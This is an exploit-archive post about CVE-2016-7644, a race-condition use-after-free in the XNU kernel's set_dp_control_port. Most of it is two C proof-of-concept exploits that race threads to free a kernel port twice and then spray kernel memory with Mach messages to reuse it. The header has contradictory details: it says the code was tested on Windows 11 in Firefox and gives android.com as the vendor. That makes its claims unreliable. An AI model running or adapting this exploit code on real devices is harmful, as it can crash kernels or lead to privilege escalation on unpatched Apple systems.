📄 macOS 10.12.2 XNU Kernel Race Condition

=============================================================================================================================================
    | # Title     : macOS 10.12.2 XNU kernel Race Condition                                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.android.com                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212493/ & 	CVE-2016-7644
    
    [+] Summary : This report analyzes the race condition observed in the set_dp_control_port function within XNU kernel versions prior to macOS 10.12.2 and iOS 10.2.
                  
    [+] The vulnerability exists in the XNU kernel (iOS/macOS) in the `set_dp_control_port` function. The issue is the lack of locking when the dynamic_pager_control_port pointer is updated, leading to:
    
    A race condition between two threads
    
    The possibility of double release of the port reference
    
    Use-after-free access
    
    [+]  POC :	
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <mach/mach.h>
    #include <mach/host_priv.h>
    
    #define THREAD_COUNT 32
    #define ATTEMPTS 1000
    
    mach_port_t global_port = MACH_PORT_NULL;
    int start_race = 0;
    
    // خيط يقوم باستدعاء set_dp_control_port بشكل متكرر
    void* race_thread(void* arg) {
        while (!start_race) { ; } // انتظار بدء السباق
        
        mach_port_t local_port = MACH_PORT_NULL;
        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &local_port);
        mach_port_insert_right(mach_task_self(), local_port, local_port, 
                              MACH_MSG_TYPE_MAKE_SEND);
        
        for (int i = 0; i < 100; i++) {
            set_dp_control_port(mach_host_self(), local_port);
        }
        
        return NULL;
    }
    
    // خيط لمراقبة واستغلال الحالة
    void* exploit_thread(void* arg) {
        while (!start_race) { ; }
        
        for (int i = 0; i < 100; i++) {
            // محاولة الوصول إلى المنفذ بعد تحريره
            mach_port_t probe_port = MACH_PORT_NULL;
            kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                                MACH_PORT_RIGHT_RECEIVE, 
                                                &probe_port);
            
            if (kr != KERN_SUCCESS) {
                printf("[!] Failed to allocate port - possible corruption\n");
            }
            
            // استخدام منفذات مختلفة لمحاولة إعادة استخدام الذاكرة المحررة
            set_dp_control_port(mach_host_self(), probe_port);
            
            usleep(1000); // تأخير صغير لزيادة فرص السباق
        }
        
        return NULL;
    }
    
    int main() {
        printf("[+] Starting exploitation of CVE-2016-7644\n");
        
        // الخطوة 1: إنشاء المنفذ الأولي
        kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                            MACH_PORT_RIGHT_RECEIVE, 
                                            &global_port);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate initial port\n");
            return 1;
        }
        
        kr = mach_port_insert_right(mach_task_self(), global_port, global_port,
                                   MACH_MSG_TYPE_MAKE_SEND);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to insert port right\n");
            return 1;
        }
        
        // الخطوة 2: تعيين المنفذ الأولي
        printf("[+] Setting initial dynamic_pager_control_port\n");
        kr = set_dp_control_port(mach_host_self(), global_port);
        if (kr != KERN_SUCCESS) {
            printf("[-] Initial set failed: %s\n", mach_error_string(kr));
            return 1;
        }
        
        // الخطوة 3: تحرير المنفذ من userland (يبقى مرجع في kernel فقط)
        printf("[+] Releasing userland reference (kernel holds one ref)\n");
        mach_port_destroy(mach_task_self(), global_port);
        
        // الخطوة 4: إنشاء خيوط لتنفيذ الهجوم
        pthread_t threads[THREAD_COUNT];
        
        printf("[+] Creating %d racing threads\n", THREAD_COUNT);
        for (int i = 0; i < THREAD_COUNT; i++) {
            if (i % 2 == 0) {
                pthread_create(&threads[i], NULL, race_thread, NULL);
            } else {
                pthread_create(&threads[i], NULL, exploit_thread, NULL);
            }
        }
        
        // الخطوة 5: بدء السباق
        printf("[+] Starting race condition...\n");
        start_race = 1;
        
        // الانتظار حتى تنتهي الخيوط
        for (int i = 0; i < THREAD_COUNT; i++) {
            pthread_join(threads[i], NULL);
        }
        
        printf("[+] Race completed. Attempting to trigger UaF...\n");
        
        // الخطوة 6: محاولة استغلال dangling pointer
        for (int attempt = 0; attempt < ATTEMPTS; attempt++) {
            mach_port_t new_port = MACH_PORT_NULL;
            kr = mach_port_allocate(mach_task_self(), 
                                  MACH_PORT_RIGHT_RECEIVE, 
                                  &new_port);
            
            if (kr == KERN_SUCCESS) {
                kr = mach_port_insert_right(mach_task_self(), new_port, new_port,
                                           MACH_MSG_TYPE_MAKE_SEND);
                
                // محاولة تعيين منفذ جديد في الموقع المحرر
                kr = set_dp_control_port(mach_host_self(), new_port);
                
                if (kr != KERN_SUCCESS) {
                    printf("[!] Attempt %d: set_dp_control_port failed: %s\n",
                          attempt, mach_error_string(kr));
                }
                
                // إرسال رسالة للمساعدة في كشف أي تحطم
                mach_msg_header_t msg = {0};
                msg.msgh_remote_port = new_port;
                msg.msgh_size = sizeof(msg);
                
                kr = mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size,
                             0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, 
                             MACH_PORT_NULL);
            }
            
            if (attempt % 100 == 0) {
                printf("[.] Progress: %d/%d attempts\n", attempt, ATTEMPTS);
            }
        }
        
        printf("[+] Exploitation attempt finished\n");
        printf("[+] Check kernel logs for crashes (panic logs)\n");
        
        return 0;
    }
    
    ================
    Vulnerability type: Use-After-Free (UaF) in the XNU kernel's set_dp_control_port function.
    
    Basic idea: Creating a dangling port in the kernel, then attempting to reuse it to exploit the freed memory, which could lead to:
    
    Arbitrary kernel instruction execution.
    
    A system crash (kernel panic).
    
    In some cases, user privilege escalation if linked to a full exploit.
    
    POC :
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <pthread.h>
    #include <unistd.h>
    #include <mach/mach.h>
    #include <mach/host_priv.h>
    #include <sched.h>
    
    #define THREAD_COUNT 32
    #define PORT_COUNT 1024
    #define ATTEMPTS 1000
    
    int start_race = 0;
    int stop_threads = 0;
    mach_port_t spray_ports[PORT_COUNT];
    
    // وظيفة yield لزيادة فرص السباق
    void yield_thread() {
        sched_yield();  // يعطي فرصة للخيوط الأخرى للتشغيل
        usleep(10);     // تأخير بسيط
    }
    
    // خيط السباق الرئيسي
    void* trigger_race(void* arg) {
        mach_port_t port = (mach_port_t)(uintptr_t)arg;
        
        while (!start_race) { ; } // انتظار إشارة البدء
        
        // إجراء السباق مع yield
        for (int i = 0; i < 50; i++) {
            set_dp_control_port(mach_host_self(), port);
            yield_thread();  // زيادة فرص التداخل
        }
        
        return NULL;
    }
    
    // إنشاء dangling port
    void create_dangling_port() {
        mach_port_t port = MACH_PORT_NULL;
        
        // إنشاء port مع multiple references
        kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to allocate port\n");
            return;
        }
        
        // إضافة حقين send ليكون لدينا مرجعان
        kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed first insert\n");
            return;
        }
        
        kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed second insert\n");
            return;
        }
        
        // تعيينه كـ dynamic_pager_control_port
        printf("[+] Setting as dynamic_pager_control_port\n");
        kr = set_dp_control_port(mach_host_self(), port);
        if (kr != KERN_SUCCESS) {
            printf("[-] Failed to set: %s\n", mach_error_string(kr));
            return;
        }
        
        // الآن النواة تحتفظ بمرجع واحد، ونحن لدينا مرجعان
        
        // تحرير مرجع userland (يبقى مرجعان: واحد في kernel وواحد لدينا)
        printf("[+] Releasing one userland reference\n");
        mach_port_deallocate(mach_task_self(), port);
        
        // بدء السباق مع خيطين
        printf("[+] Starting race threads\n");
        start_race = 0;
        
        pthread_t t1, t2;
        pthread_create(&t1, NULL, trigger_race, (void*)(uintptr_t)port);
        pthread_create(&t2, NULL, trigger_race, (void*)(uintptr_t)port);
        
        // إعطاء الوقت للخيوط للاستعداد
        usleep(1000);
        
        // بدء السباق
        start_race = 1;
        
        // الانتظار حتى تنتهي الخيوط
        pthread_join(t1, NULL);
        pthread_join(t2, NULL);
        
        printf("[+] Race completed. Port may be dangling now\n");
        
        // هنا port أصبح dangling (مؤشر متدلي)
        // kernel قد حررت الـ port مرتين بينما كان هناك مرجع واحد فقط
    }
    
    // رش kernel memory
    void spray_kernel_memory() {
        printf("[+] Spraying kernel memory with %d ports\n", PORT_COUNT);
        
        // إنشاء منافذ للرش
        for (int i = 0; i < PORT_COUNT; i++) {
            kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                                MACH_PORT_RIGHT_RECEIVE, 
                                                &spray_ports[i]);
            if (kr != KERN_SUCCESS) {
                printf("[!] Failed to allocate spray port %d\n", i);
                continue;
            }
            
            kr = mach_port_insert_right(mach_task_self(), spray_ports[i], 
                                      spray_ports[i], MACH_MSG_TYPE_MAKE_SEND);
            if (kr != KERN_SUCCESS) {
                printf("[!] Failed to insert right for port %d\n", i);
            }
            
            // إرسال رسائل لملء kernel memory
            struct {
                mach_msg_header_t header;
                mach_msg_body_t body;
                mach_msg_port_descriptor_t port_descriptors[4];
            } msg;
            
            msg.header.msgh_bits = MACH_MSGH_BITS_COMPLEX | 
                                  MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
            msg.header.msgh_size = sizeof(msg);
            msg.header.msgh_remote_port = spray_ports[i];
            msg.header.msgh_local_port = MACH_PORT_NULL;
            msg.body.msgh_descriptor_count = 4;
            
            // ملء واصف المنافذ
            for (int j = 0; j < 4; j++) {
                msg.port_descriptors[j].name = spray_ports[(i + j) % PORT_COUNT];
                msg.port_descriptors[j].disposition = MACH_MSG_TYPE_COPY_SEND;
                msg.port_descriptors[j].type = MACH_MSG_PORT_DESCRIPTOR;
            }
            
            kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg),
                         0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
            
            if ((i + 1) % 100 == 0) {
                printf("[.] Sprayed %d/%d ports\n", i + 1, PORT_COUNT);
            }
        }
        
        printf("[+] Memory spray completed\n");
    }
    
    // خيط لاختبار استخدام المنفذ المعلق
    void* use_dangling_port(void* arg) {
        mach_port_t port = (mach_port_t)(uintptr_t)arg;
        
        while (!stop_threads) {
            // محاولة استخدام المنفذ المعلق
            mach_port_context_t context = 0;
            kern_return_t kr = mach_port_get_context(mach_task_self(), port, &context);
            
            if (kr != KERN_SUCCESS) {
                // المنفذ قد يكون تحرر
                printf("[!] Failed to get context (port may be freed)\n");
                break;
            }
            
            // محاولة تعيين سياق جديد
            kr = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)0x4141414142424242);
            
            yield_thread();
        }
        
        return NULL;
    }
    
    int main() {
        printf("[+] Exploit for CVE-2016-7644 - XNU set_dp_control_port race condition\n");
        printf("[+] Target: macOS/iOS <= 10.12.1/10.1.1\n");
        
        // المرحلة 1: إنشاء dangling port
        printf("\n=== Phase 1: Creating dangling port ===\n");
        create_dangling_port();
        
        // المرحلة 2: رش الذاكرة
        printf("\n=== Phase 2: Memory spraying ===\n");
        spray_kernel_memory();
        
        // المرحلة 3: محاولة الاستغلال
        printf("\n=== Phase 3: Attempting exploitation ===\n");
        
        // إنشاء عدة خيوط لمحاولة استخدام المنفذ المعلق
        pthread_t exploit_threads[4];
        mach_port_t test_port = MACH_PORT_NULL;
        
        // إنشاء منفذ جديد في نفس المنطقة
        mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &test_port);
        mach_port_insert_right(mach_task_self(), test_port, test_port, MACH_MSG_TYPE_MAKE_SEND);
        
        for (int i = 0; i < 4; i++) {
            pthread_create(&exploit_threads[i], NULL, use_dangling_port, 
                          (void*)(uintptr_t)test_port);
        }
        
        // السماح للخيوط بالعمل لبعض الوقت
        sleep(2);
        
        // إيقاف الخيوط
        stop_threads = 1;
        for (int i = 0; i < 4; i++) {
            pthread_join(exploit_threads[i], NULL);
        }
        
        // المرحلة 4: اختبار الاستقرار
        printf("\n=== Phase 4: Testing stability ===\n");
        
        mach_port_t final_port = MACH_PORT_NULL;
        kern_return_t kr = mach_port_allocate(mach_task_self(), 
                                            MACH_PORT_RIGHT_RECEIVE, 
                                            &final_port);
        
        if (kr != KERN_SUCCESS) {
            printf("[!] Kernel may be unstable/crashed\n");
        } else {
            printf("[+] Kernel seems stable\n");
            
            // محاولة نهائية لاستدعاء set_dp_control_port
            kr = set_dp_control_port(mach_host_self(), final_port);
            if (kr == KERN_SUCCESS) {
                printf("[+] Successfully called set_dp_control_port\n");
            } else {
                printf("[!] Failed: %s\n", mach_error_string(kr));
            }
        }
        
        // التنظيف
        for (int i = 0; i < PORT_COUNT; i++) {
            if (MACH_PORT_VALID(spray_ports[i])) {
                mach_port_destroy(mach_task_self(), spray_ports[i]);
            }
        }
        
        printf("\n[+] Exploitation attempt completed\n");
        printf("[!] Note: This exploit may cause kernel panic if successful\n");
        printf("[!] Check console logs for kernel crash reports\n");
        
        return 0;
    }
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================